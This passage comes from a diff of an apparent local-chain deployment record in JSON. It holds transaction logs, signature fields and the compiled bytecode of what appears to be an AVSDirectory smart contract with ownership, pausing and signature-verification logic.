"0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", - "0x0000000000000000000000000000000000000000000000000000000000000000", - "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" - ], - "data": "0x" - }, - { - "address": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", - "topics": [ - "0xafa003cd76f87ff9d62b35beea889920f33c0c42b8d45b74954d61d50f4b6b69" - ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a" + "accessList": [], + "input": "0x9623609d000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c90000000000000000000000000dcd1bf9a1b36ce34237eeafef220932846bcd8200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084cf756fdf000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "r": "0x7ab46d716e66c3eeb4a6ceb26eee70c1f5ef89a834687f21985a46fc77ec5e64", + "s": "0x390c491ccb1362f86e47b10cffd0ab9428bcd25ea1067311a11d8b4d997d0260", + "yParity": "0x1", + "hash": "0xfd0cd693bcd0f6192a593b8edcbcfd149e34e760aca4b512b7292d66dff4c2f8" + } }, - { - "address": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", - "topics": [ - "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" - ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000001" - } - ], - "logsBloom": "0x00000000000000000000000040000000400000000000000000c00000000000000000000000000000000000000000080000000000000000100000000000000001000000000000000000000400000002000001000000000000000000000000000000000000020000000000000100800800000004000000000000040000000000400000000108000000000000000000000000000000000080000000000000000000000000000000040000000002000400000000000000000000000000000000000000002020400000200000000000040000000000002008000000000000000020000000000000000000000000000000000000000000000000000000002000400000" - }, - "block_hash": "0x25351ea5ebb8f497a108031724791a9778be719cee871ae3168f014ac6ea87e3", - "block_number": 12 - }, - { - "info": { - "transaction_hash": "0xe16e7b1d8ace4d16fde340a4bc670436d4b83ba69827593207eea6f4fc58568a", - "transaction_index": 2, - "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "to": null, - "contract_address": "0x9a676e781a523b5d0c0e43731313a708cb607508", - "traces": [ - { - "parent": null, - "children": [], - "idx": 0, - "trace": { - "depth": 0, - "success": true, - "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0x9a676e781a523b5d0c0e43731313a708cb607508", - "maybe_precompile": false, - "selfdestruct_address": null, - "selfdestruct_refund_target": null, - "selfdestruct_transferred_value": null, - "kind": "CREATE", - "value": "0x0", - "data": "0x60c060405234801561001057600080fd5b50604051611f65380380611f6583398101604081905261002f9161010e565b6001600160a01b03811660805261004461004e565b504660a05261013e565b600054610100900460ff16156100ba5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561010c576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b60006020828403121561012057600080fd5b81516001600160a01b038116811461013757600080fd5b9392505050565b60805160a051611dfb61016a6000396000610ea501526000818161032401526109810152611dfb6000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063d79aceab1161007c578063d79aceab146102f8578063df5cf7231461031f578063ec76f44214610346578063f2fde38b14610359578063f698da251461036c578063fabc1cbc1461037457600080fd5b80638da5cb5b1461029b5780639926ee7d146102ac578063a1060c88146102bf578063a364f4da146102d2578063a98fb355146102e557600080fd5b806349075da31161010a57806349075da3146101fa578063595c6a67146102355780635ac86ab71461023d5780635c975abb14610260578063715018a614610268578063886f11951461027057600080fd5b806310d67a2f14610147578063136439dd1461015c5780631794bb3c1461016f57806320606b7014610182578063374823b5146101bc575b600080fd5b61015a6101553660046118a2565b610387565b005b61015a61016a3660046118c6565b610443565b61015a61017d3660046118df565b610582565b6101a97f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b6101ea6101ca366004611920565b609960209081526000928352604080842090915290825290205460ff1681565b60405190151581526020016101b3565b61022861020836600461194c565b609860209081526000928352604080842090915290825290205460ff1681565b6040516101b3919061199b565b61015a6106ac565b6101ea61024b3660046119c3565b606654600160ff9092169190911b9081161490565b6066546101a9565b61015a610773565b606554610283906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b6033546001600160a01b0316610283565b61015a6102ba366004611a56565b610787565b6101a96102cd366004611b4b565b610b18565b61015a6102e03660046118a2565b610bd1565b61015a6102f3366004611b91565b610d39565b6101a97fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd81565b6102837f000000000000000000000000000000000000000000000000000000000000000081565b61015a6103543660046118c6565b610d80565b61015a6103673660046118a2565b610e2b565b6101a9610ea1565b61015a6103823660046118c6565b610ede565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fe9190611c05565b6001600160a01b0316336001600160a01b0316146104375760405162461bcd60e51b815260040161042e90611c22565b60405180910390fd5b6104408161103a565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa15801561048b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104af9190611c6c565b6104cb5760405162461bcd60e51b815260040161042e90611c8e565b606654818116146105445760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600054610100900460ff16158080156105a25750600054600160ff909116105b806105bc5750303b1580156105bc575060005460ff166001145b61061f5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161042e565b6000805460ff191660011790558015610642576000805461ff0019166101001790555b61064c8383611131565b61065461121b565b609755610660846112b2565b80156106a6576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107189190611c6c565b6107345760405162461bcd60e51b815260040161042e90611c8e565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61077b611304565b61078560006112b2565b565b6066546000906001908116036107db5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b42826040015110156108435760405162461bcd60e51b815260206004820152603e6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72207369676e617475726520657870697265640000606482015260840161042e565b60013360009081526098602090815260408083206001600160a01b038816845290915290205460ff16600181111561087d5761087d611985565b036108de5760405162461bcd60e51b815260206004820152603f6024820152600080516020611da683398151915260448201527f56533a206f70657261746f7220616c7265616479207265676973746572656400606482015260840161042e565b6001600160a01b038316600090815260996020908152604080832085830151845290915290205460ff16156109625760405162461bcd60e51b81526020600482015260366024820152600080516020611da68339815191526044820152751594ce881cd85b1d08185b1c9958591e481cdc195b9d60521b606482015260840161042e565b6040516336b87bd760e11b81526001600160a01b0384811660048301527f00000000000000000000000000000000000000000000000000000000000000001690636d70f7ae90602401602060405180830381865afa1580156109c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ec9190611c6c565b610a625760405162461bcd60e51b815260206004820152604d6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72206e6f74207265676973746572656420746f204560648201526c1a59d95b93185e595c881e595d609a1b608482015260a40161042e565b6000610a78843385602001518660400151610b18565b9050610a898482856000015161135e565b3360008181526098602090815260408083206001600160a01b0389168085529083528184208054600160ff199182168117909255609985528386208a860151875290945293829020805490931684179092555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610b0a919061199b565b60405180910390a350505050565b604080517fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd6020808301919091526001600160a01b0387811683850152861660608301526080820185905260a08083018590528351808403909101815260c0909201909252805191012060009081610b8e610ea1565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b606654600090600190811603610c255760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b60013360009081526098602090815260408083206001600160a01b038716845290915290205460ff166001811115610c5f57610c5f611985565b14610cd25760405162461bcd60e51b815260206004820152603f60248201527f4156534469726563746f72792e646572656769737465724f70657261746f724660448201527f726f6d4156533a206f70657261746f72206e6f74207265676973746572656400606482015260840161042e565b3360008181526098602090815260408083206001600160a01b0387168085529252808320805460ff191690555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610d2d919061199b565b60405180910390a35050565b336001600160a01b03167fa89c1dc243d8908a96dd84944bcc97d6bc6ac00dd78e20621576be6a3c9437138383604051610d74929190611cd6565b60405180910390a25050565b33600090815260996020908152604080832084845290915290205460ff1615610e055760405162461bcd60e51b815260206004820152603160248201527f4156534469726563746f72792e63616e63656c53616c743a2063616e6e6f742060448201527018d85b98d95b081cdc195b9d081cd85b1d607a1b606482015260840161042e565b33600090815260996020908152604080832093835292905220805460ff19166001179055565b610e33611304565b6001600160a01b038116610e985760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161042e565b610440816112b2565b60007f00000000000000000000000000000000000000000000000000000000000000004603610ed1575060975490565b610ed961121b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f559190611c05565b6001600160a01b0316336001600160a01b031614610f855760405162461bcd60e51b815260040161042e90611c22565b6066541981196066541916146110035760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610577565b6001600160a01b0381166110c85760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161042e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6065546001600160a01b031615801561115257506001600160a01b03821615155b6111d45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26112178261103a565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6033546001600160a01b031633146107855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161042e565b6001600160a01b0383163b1561147d57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e9061139e9086908690600401611d05565b602060405180830381865afa1580156113bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113df9190611d5a565b6001600160e01b031916146114785760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a40161042e565b505050565b826001600160a01b0316611491838361151d565b6001600160a01b0316146114785760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a40161042e565b600080600061152c8585611543565b91509150611539816115b1565b5090505b92915050565b60008082516041036115795760208301516040840151606085015160001a61156d87828585611767565b945094505050506115aa565b82516040036115a25760208301516040840151611597868383611854565b9350935050506115aa565b506000905060025b9250929050565b60008160048111156115c5576115c5611985565b036115cd5750565b60018160048111156115e1576115e1611985565b0361162e5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015260640161042e565b600281600481111561164257611642611985565b0361168f5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015260640161042e565b60038160048111156116a3576116a3611985565b036116fb5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b606482015260840161042e565b600481600481111561170f5761170f611985565b036104405760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b606482015260840161042e565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561179e575060009050600361184b565b8460ff16601b141580156117b657508460ff16601c14155b156117c7575060009050600461184b565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa15801561181b573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166118445760006001925092505061184b565b9150600090505b94509492505050565b6000806001600160ff1b0383168161187160ff86901c601b611d84565b905061187f87828885611767565b935093505050935093915050565b6001600160a01b038116811461044057600080fd5b6000602082840312156118b457600080fd5b81356118bf8161188d565b9392505050565b6000602082840312156118d857600080fd5b5035919050565b6000806000606084860312156118f457600080fd5b83356118ff8161188d565b9250602084013561190f8161188d565b929592945050506040919091013590565b6000806040838503121561193357600080fd5b823561193e8161188d565b946020939093013593505050565b6000806040838503121561195f57600080fd5b823561196a8161188d565b9150602083013561197a8161188d565b809150509250929050565b634e487b7160e01b600052602160045260246000fd5b60208101600283106119bd57634e487b7160e01b600052602160045260246000fd5b91905290565b6000602082840312156119d557600080fd5b813560ff811681146118bf57600080fd5b634e487b7160e01b600052604160045260246000fd5b6040516060810167ffffffffffffffff81118282101715611a1f57611a1f6119e6565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715611a4e57611a4e6119e6565b604052919050565b60008060408385031215611a6957600080fd5b8235611a748161188d565b9150602083013567ffffffffffffffff811115611a9057600080fd5b830160608186031215611aa257600080fd5b611aaa6119fc565b813567ffffffffffffffff811115611ac157600080fd5b8201601f81018713611ad257600080fd5b803567ffffffffffffffff811115611aec57611aec6119e6565b611aff601f8201601f1916602001611a25565b818152886020838501011115611b1457600080fd5b8160208401602083013760006020928201830152835283810135908301525060409182013591810191909152919491935090915050565b60008060008060808587031215611b6157600080fd5b8435611b6c8161188d565b93506020850135611b7c8161188d565b93969395505050506040820135916060013590565b60008060208385031215611ba457600080fd5b823567ffffffffffffffff811115611bbb57600080fd5b8301601f81018513611bcc57600080fd5b803567ffffffffffffffff811115611be357600080fd5b856020828401011115611bf557600080fd5b6020919091019590945092505050565b600060208284031215611c1757600080fd5b81516118bf8161188d565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611c7e57600080fd5b815180151581146118bf57600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b828152604060208201526000825180604084015260005b81811015611d395760208186018101516060868401015201611d1c565b506000606082850101526060601f19601f8301168401019150509392505050565b600060208284031215611d6c57600080fd5b81516001600160e01b0319811681146118bf57600080fd5b8082018082111561153d57634e487b7160e01b600052601160045260246000fdfe4156534469726563746f72792e72656769737465724f70657261746f72546f41a2646970667358221220626c725dc93ffa1c0bc54f081ad507d11a26614950e1667781a557683d3b300b64736f6c634300081c0033000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9", - "output": "0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063d79aceab1161007c578063d79aceab146102f8578063df5cf7231461031f578063ec76f44214610346578063f2fde38b14610359578063f698da251461036c578063fabc1cbc1461037457600080fd5b80638da5cb5b1461029b5780639926ee7d146102ac578063a1060c88146102bf578063a364f4da146102d2578063a98fb355146102e557600080fd5b806349075da31161010a57806349075da3146101fa578063595c6a67146102355780635ac86ab71461023d5780635c975abb14610260578063715018a614610268578063886f11951461027057600080fd5b806310d67a2f14610147578063136439dd1461015c5780631794bb3c1461016f57806320606b7014610182578063374823b5146101bc575b600080fd5b61015a6101553660046118a2565b610387565b005b61015a61016a3660046118c6565b610443565b61015a61017d3660046118df565b610582565b6101a97f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b6101ea6101ca366004611920565b609960209081526000928352604080842090915290825290205460ff1681565b60405190151581526020016101b3565b61022861020836600461194c565b609860209081526000928352604080842090915290825290205460ff1681565b6040516101b3919061199b565b61015a6106ac565b6101ea61024b3660046119c3565b606654600160ff9092169190911b9081161490565b6066546101a9565b61015a610773565b606554610283906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b6033546001600160a01b0316610283565b61015a6102ba366004611a56565b610787565b6101a96102cd366004611b4b565b610b18565b61015a6102e03660046118a2565b610bd1565b61015a6102f3366004611b91565b610d39565b6101a97fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd81565b6102837f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61015a6103543660046118c6565b610d80565b61015a6103673660046118a2565b610e2b565b6101a9610ea1565b61015a6103823660046118c6565b610ede565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fe9190611c05565b6001600160a01b0316336001600160a01b0316146104375760405162461bcd60e51b815260040161042e90611c22565b60405180910390fd5b6104408161103a565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa15801561048b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104af9190611c6c565b6104cb5760405162461bcd60e51b815260040161042e90611c8e565b606654818116146105445760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600054610100900460ff16158080156105a25750600054600160ff909116105b806105bc5750303b1580156105bc575060005460ff166001145b61061f5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161042e565b6000805460ff191660011790558015610642576000805461ff0019166101001790555b61064c8383611131565b61065461121b565b609755610660846112b2565b80156106a6576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107189190611c6c565b6107345760405162461bcd60e51b815260040161042e90611c8e565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61077b611304565b61078560006112b2565b565b6066546000906001908116036107db5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b42826040015110156108435760405162461bcd60e51b815260206004820152603e6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72207369676e617475726520657870697265640000606482015260840161042e565b60013360009081526098602090815260408083206001600160a01b038816845290915290205460ff16600181111561087d5761087d611985565b036108de5760405162461bcd60e51b815260206004820152603f6024820152600080516020611da683398151915260448201527f56533a206f70657261746f7220616c7265616479207265676973746572656400606482015260840161042e565b6001600160a01b038316600090815260996020908152604080832085830151845290915290205460ff16156109625760405162461bcd60e51b81526020600482015260366024820152600080516020611da68339815191526044820152751594ce881cd85b1d08185b1c9958591e481cdc195b9d60521b606482015260840161042e565b6040516336b87bd760e11b81526001600160a01b0384811660048301527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91690636d70f7ae90602401602060405180830381865afa1580156109c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ec9190611c6c565b610a625760405162461bcd60e51b815260206004820152604d6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72206e6f74207265676973746572656420746f204560648201526c1a59d95b93185e595c881e595d609a1b608482015260a40161042e565b6000610a78843385602001518660400151610b18565b9050610a898482856000015161135e565b3360008181526098602090815260408083206001600160a01b0389168085529083528184208054600160ff199182168117909255609985528386208a860151875290945293829020805490931684179092555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610b0a919061199b565b60405180910390a350505050565b604080517fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd6020808301919091526001600160a01b0387811683850152861660608301526080820185905260a08083018590528351808403909101815260c0909201909252805191012060009081610b8e610ea1565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b606654600090600190811603610c255760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b60013360009081526098602090815260408083206001600160a01b038716845290915290205460ff166001811115610c5f57610c5f611985565b14610cd25760405162461bcd60e51b815260206004820152603f60248201527f4156534469726563746f72792e646572656769737465724f70657261746f724660448201527f726f6d4156533a206f70657261746f72206e6f74207265676973746572656400606482015260840161042e565b3360008181526098602090815260408083206001600160a01b0387168085529252808320805460ff191690555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610d2d919061199b565b60405180910390a35050565b336001600160a01b03167fa89c1dc243d8908a96dd84944bcc97d6bc6ac00dd78e20621576be6a3c9437138383604051610d74929190611cd6565b60405180910390a25050565b33600090815260996020908152604080832084845290915290205460ff1615610e055760405162461bcd60e51b815260206004820152603160248201527f4156534469726563746f72792e63616e63656c53616c743a2063616e6e6f742060448201527018d85b98d95b081cdc195b9d081cd85b1d607a1b606482015260840161042e565b33600090815260996020908152604080832093835292905220805460ff19166001179055565b610e33611304565b6001600160a01b038116610e985760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161042e565b610440816112b2565b60007f0000000000000000000000000000000000000000000000000000000000007a694603610ed1575060975490565b610ed961121b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f559190611c05565b6001600160a01b0316336001600160a01b031614610f855760405162461bcd60e51b815260040161042e90611c22565b6066541981196066541916146110035760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610577565b6001600160a01b0381166110c85760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161042e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6065546001600160a01b031615801561115257506001600160a01b03821615155b6111d45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26112178261103a565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6033546001600160a01b031633146107855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161042e565b6001600160a01b0383163b1561147d57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e9061139e9086908690600401611d05565b602060405180830381865afa1580156113bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113df9190611d5a565b6001600160e01b031916146114785760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a40161042e565b505050565b826001600160a01b0316611491838361151d565b6001600160a01b0316146114785760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a40161042e565b600080600061152c8585611543565b91509150611539816115b1565b5090505b92915050565b60008082516041036115795760208301516040840151606085015160001a61156d87828585611767565b945094505050506115aa565b82516040036115a25760208301516040840151611597868383611854565b9350935050506115aa565b506000905060025b9250929050565b60008160048111156115c5576115c5611985565b036115cd5750565b60018160048111156115e1576115e1611985565b0361162e5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015260640161042e565b600281600481111561164257611642611985565b0361168f5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015260640161042e565b60038160048111156116a3576116a3611985565b036116fb5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b606482015260840161042e565b600481600481111561170f5761170f611985565b036104405760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b606482015260840161042e565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561179e575060009050600361184b565b8460ff16601b141580156117b657508460ff16601c14155b156117c7575060009050600461184b565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa15801561181b573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166118445760006001925092505061184b565b9150600090505b94509492505050565b6000806001600160ff1b0383168161187160ff86901c601b611d84565b905061187f87828885611767565b935093505050935093915050565b6001600160a01b038116811461044057600080fd5b6000602082840312156118b457600080fd5b81356118bf8161188d565b9392505050565b6000602082840312156118d857600080fd5b5035919050565b6000806000606084860312156118f457600080fd5b83356118ff8161188d565b9250602084013561190f8161188d565b929592945050506040919091013590565b6000806040838503121561193357600080fd5b823561193e8161188d565b946020939093013593505050565b6000806040838503121561195f57600080fd5b823561196a8161188d565b9150602083013561197a8161188d565b809150509250929050565b634e487b7160e01b600052602160045260246000fd5b60208101600283106119bd57634e487b7160e01b600052602160045260246000fd5b91905290565b6000602082840312156119d557600080fd5b813560ff811681146118bf57600080fd5b634e487b7160e01b600052604160045260246000fd5b6040516060810167ffffffffffffffff81118282101715611a1f57611a1f6119e6565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715611a4e57611a4e6119e6565b604052919050565b60008060408385031215611a6957600080fd5b8235611a748161188d565b9150602083013567ffffffffffffffff811115611a9057600080fd5b830160608186031215611aa257600080fd5b611aaa6119fc565b813567ffffffffffffffff811115611ac157600080fd5b8201601f81018713611ad257600080fd5b803567ffffffffffffffff811115611aec57611aec6119e6565b611aff601f8201601f1916602001611a25565b818152886020838501011115611b1457600080fd5b81602084016020830137600060209282018301528352838101359